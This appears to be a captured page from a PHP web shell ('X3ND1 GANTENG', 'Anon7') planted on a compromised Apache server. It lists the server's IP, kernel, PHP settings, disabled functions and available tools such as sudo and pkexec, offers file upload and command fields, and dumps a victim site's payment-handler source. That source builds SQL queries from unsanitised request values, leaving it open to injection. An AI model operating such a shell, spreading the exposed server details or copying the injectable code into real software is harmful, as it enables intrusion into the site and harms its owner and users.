X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.144.252.243
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/www/binarygains.in/developer1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/www/binarygains.in/developer1/instamojo.php
<?php
include "config/error.php";
include "config/instamojo.php";
define(API_KEY, $API_KEY);
define(AUTH_TOKEN, $AUTH_TOKEN);
$Instamojo=new Instamojo(API_KEY, AUTH_TOKEN, $AUTH_URL);
$sid=isset($_SESSION['sid'])?$_SESSION['sid']:'';
if(isset($payMem)) {
	$memid=base64_decode($mem);
	$profileid=addslashes($profileid);
	$uInfo=$com_obj->singlerec("select user_email from mlm_register where user_profileid='$profileid'");
	$memInfo=$com_obj->singlerec("select * from mlm_membership where id='$memid'");
	try {
		$response=$Instamojo->paymentRequestCreate(array(
			"purpose" => $memInfo['membership_name'],
			"amount" => $memInfo['act_amount'],
			"send_email" => true,
			"email" => $uInfo['user_email'],
			"redirect_url" => $website_url."instamojo.php"
		));
		$ip=$_SERVER['REMOTE_ADDR'];
		$set="profileid='$profileid'";
		$set.=",payment_id='$response[id]'";
		$set.=",pack='$memid'";
		$set.=",amount='$memInfo[act_amount]'";
		$set.=",paidamt='$memInfo[act_amount]'";
		$set.=",status='$response[status]'";
		$set.=",longurl='$response[longurl]'";
		$set.=",ip_address='$ip'";
		$set.=",created_at='$response[created_at]'";
		$set.=",modified_at='$response[modified_at]'";
		$com_obj->insertrec("insert into mlm_mempayments set $set");
		$com_obj->insertrec("update mlm_register set mem_package='$memid' where user_profileid='$profileid'");
			echo "<script>location.href='$response[longurl]';</script>";
			header("Location: $response[longurl]");
			exit;
	}
	catch (Exception $e) {
		print('Error: ' . $e->getMessage());
	}
}

else if(isset($payment_id) && isset($payment_request_id)) {
	try {
		$response=$Instamojo->paymentRequestStatus($payment_request_id);
		$set="status='$response[status]'";
		$set.=",modified_at='$response[modified_at]'";
		$com_obj->insertrec("update mlm_mempayments set $set where payment_id='$payment_request_id'");
		if($response['status']=="Completed") {
			$UserInfo=$com_obj->singlerec("select profileid,amount from mlm_mempayments where payment_id='$payment_request_id'");
			$ret=$com_obj->refBonus($UserInfo['profileid'], $UserInfo['amount']);
			$spid=$ret;
			$sel=$com_obj->singlerec("select * from mlm_payout where id='$spid'");
			$spind=$sel['user_id'];
			$usid=$sel['from_id'];
			$amount=$sel['amount'];
			$status=$sel['status'];
			if($status==0){
				$alert="Admin hold on ur approval";
			}else{
				$alert="Approved";
			}
			$sur=$com_obj->singlerec("select * from mlm_register where user_profileid='$usid'");
			$com_obj->insertrec("UPDATE mlm_register set user_status='1' where user_profileid='$usid'"); 
			$p_email=$sur['user_email'];
			$subject="Referral Bonus details from ".$website_name;
	$msg="<table cellpadding='0' cellspacing='0' border='0' bgcolor='#006699' style='border:solid 10px #006699; width:550px;'>
		<tr bgcolor='#006699' height='25'>
			<td><img src=".$logourl." border='0' width='200' height='60' /></td>
		</tr>
						<tr bgcolor='#FFFFFF'><td>&nbsp;</td></tr>
						<tr bgcolor='#FFFFFF' height='30'>
						<td valign='top' style='font-family:Arial; font-size:12px; line-height:18px; text-decoration:none; color:#000000; padding-left:20px;'><b> Referral Bonus details from ".$website_name." </b></td>
						</tr>
						
						<tr bgcolor='#FFFFFF' height='35'>
						<td style='padding-left:20px; font-family:Arial; font-size:11px; line-height:18px; text-decoration:none; color:#000000;'>Username : $usid (or) $p_email </td>
						</tr>
						
						<tr bgcolor='#FFFFFF' height='35'>
						<td style='padding-left:20px; font-family:Arial; font-size:11px; line-height:18px; text-decoration:none; color:#000000;'>Amount : $amount </td>
						</tr>
						
						
							<tr bgcolor='#FFFFFF'>
		 	<td align='left' style='padding-left:20px; font-family:Arial; font-size:11px; line-height:18px; text-decoration:none; color:#000000; padding-left:20px;'> Regards,<br>
				".$website_name."<br>
			</td>
		
		</tr>
						<tr bgcolor='#FFFFFF'><td>&nbsp;</td></tr>
						<tr height='40'>
		
<td align='right' style='font-family: Arial, Helvetica, sans-serif;font-size: 10px;background-color:#006699;
color: #000000;'>&copy; Copyright " .date("Y")."&nbsp;"."<a href='$website_url/login.php' style='font-family:Arial; font-size:11px; font-weight:bold; text-decoration:none; color:#FFFFFF;'>".$website_name."</a>."."
</td>
</tr>
</table>";
	$to=$spind;
	$cmail=$com_obj->commonMail($to,$subject,$msg);
			if(!empty($_SESSION['sid'])){
				unset($_SESSION['sid']);
				echo "<script>location.href='dashboard.php?succ';</script>";
				header("Location: dashboard.php?succ");
				exit;
			}else{
				echo "<script>location.href='login.php?succ';</script>";
				header("Location: login.php?succ");
				exit;
			}
		}
		else {
			echo "<script>location.href='login.php?pyerr';</script>";
			header("Location: login.php?pyerr");
			exit;
		}
	}
	catch (Exception $e) {
		print('Error: ' . $e->getMessage());
	}
}

else {
	echo "<script>location.href='index.php';</script>";
	header("Location: index.php");
	exit;
}
?>

Anon7 - 2022
SCDN GOK